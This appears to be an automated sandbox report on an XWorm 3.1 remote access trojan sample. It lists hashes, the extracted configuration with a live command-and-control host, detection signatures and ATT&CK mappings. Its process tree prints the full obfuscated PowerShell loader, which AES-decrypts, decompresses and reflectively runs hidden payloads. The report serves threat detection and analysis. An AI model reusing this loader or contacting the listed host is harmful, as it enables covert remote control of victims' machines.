xworm | c153c05ebbf7db866984c1b21da5bfebbaedcfa5fce0cecb09a50377e0503a53

General

Target

info.cmd
Size

80KB
MD5

43f3ee9c714203eeccd5503d17a36105
SHA1

d554becc96c1296d948382fd2ea8c1a1ad0184c8
SHA256

c153c05ebbf7db866984c1b21da5bfebbaedcfa5fce0cecb09a50377e0503a53
SHA512

f54a1bc1772bd6c6651dc2df50fa2cfca70c7bd8b89307d66e3a290aa881c7cda5176ead1b00566f54d729e68cbd57832d02580664da9a361ee1db95b5ac296d
SSDEEP

1536:UlFEtm9P8DRSi0ga9pZ8nS0JdX48PiZ5LU/8ZeMhRY6NP/gLl+uC:UlgROg6N0x6ZxUEXRYA/8lE

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

3.1

C2

newremisco2905.duckdns.org:2905

Mutex

0h9jcqiqjT5SnJcR

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/3956-19-0x00000292D00F0000-0x00000292D00FE000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

33 3956 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

3956 powershell.exe
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

3956 powershell.exe
3956 powershell.exe
3956 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3956 powershell.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

powershell.exe

pid process

3956 powershell.exe

flow	pid	process
33	3956	powershell.exe

pid	process
3956	powershell.exe

pid	process
3956	powershell.exe
3956	powershell.exe
3956	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3956	powershell.exe

pid	process
3956	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 1968 wrote to memory of 2108	1968	cmd.exe	cmd.exe
PID 1968 wrote to memory of 2108	1968	cmd.exe	cmd.exe
PID 1968 wrote to memory of 1848	1968	cmd.exe	cmd.exe
PID 1968 wrote to memory of 1848	1968	cmd.exe	cmd.exe
PID 1968 wrote to memory of 3956	1968	cmd.exe	powershell.exe
PID 1968 wrote to memory of 3956	1968	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\info.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:1968

C:\Windows\system32\cmd.exe
cmd /c "set __=^&rem"
2⤵
PID:2108

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('pPLpJHM4GQSp820ezozLInZkcLGjwzAfhFyAUo/d1yU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kFkMa+H0Xjazq+yg0jtHMw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $liFcl=New-Object System.IO.MemoryStream(,$param_var); $YKPPP=New-Object System.IO.MemoryStream; $DrFOQ=New-Object System.IO.Compression.GZipStream($liFcl, [IO.Compression.CompressionMode]::Decompress); $DrFOQ.CopyTo($YKPPP); $DrFOQ.Dispose(); $liFcl.Dispose(); $YKPPP.Dispose(); $YKPPP.ToArray();}function execute_function($param_var,$param2_var){ $aGqbX=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $rErds=$aGqbX.EntryPoint; $rErds.Invoke($null, $param2_var);}$UsDBW = 'C:\Users\Admin\AppData\Local\Temp\info.cmd';$host.UI.RawUI.WindowTitle = $UsDBW;$rybfn=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($UsDBW).Split([Environment]::NewLine);foreach ($bSMhM in $rybfn) { if ($bSMhM.StartsWith('WUgLizIwoCqVFjuaxzXG')) { $FYrof=$bSMhM.Substring(20); break; }}$payloads_var=[string[]]$FYrof.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
2⤵
PID:1848

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:3956

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mkvt2pd2.i1l.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3956-16-0x00007FFCDE5B0000-0x00007FFCDE7A5000-memory.dmp

Filesize
2.0MB

Download
memory/3956-17-0x00007FFCDD1E0000-0x00007FFCDD29E000-memory.dmp

Filesize
760KB

Download
memory/3956-11-0x00007FFCC0360000-0x00007FFCC0E21000-memory.dmp

Filesize
10.8MB

Download
memory/3956-12-0x00007FFCC0360000-0x00007FFCC0E21000-memory.dmp

Filesize
10.8MB

Download
memory/3956-13-0x00000292D2530000-0x00000292D2574000-memory.dmp

Filesize
272KB

Download
memory/3956-14-0x00000292D2970000-0x00000292D29E6000-memory.dmp

Filesize
472KB

Download
memory/3956-10-0x00000292B7F50000-0x00000292B7F72000-memory.dmp

Filesize
136KB

Download
memory/3956-0-0x00007FFCC0363000-0x00007FFCC0365000-memory.dmp

Filesize
8KB

Download
memory/3956-15-0x00000292B7FA0000-0x00000292B7FB0000-memory.dmp

Filesize
64KB

Download
memory/3956-18-0x00000292D00E0000-0x00000292D00F0000-memory.dmp

Filesize
64KB

Download
memory/3956-19-0x00000292D00F0000-0x00000292D00FE000-memory.dmp

Filesize
56KB

Download
memory/3956-20-0x00007FFCC0360000-0x00007FFCC0E21000-memory.dmp

Filesize
10.8MB

Download
memory/3956-21-0x00000292D2210000-0x00000292D242C000-memory.dmp

Filesize
2.1MB

Download
memory/3956-24-0x00007FFCC0363000-0x00007FFCC0365000-memory.dmp

Filesize
8KB

Download
memory/3956-25-0x00007FFCC0360000-0x00007FFCC0E21000-memory.dmp

Filesize
10.8MB

Download

Analysis

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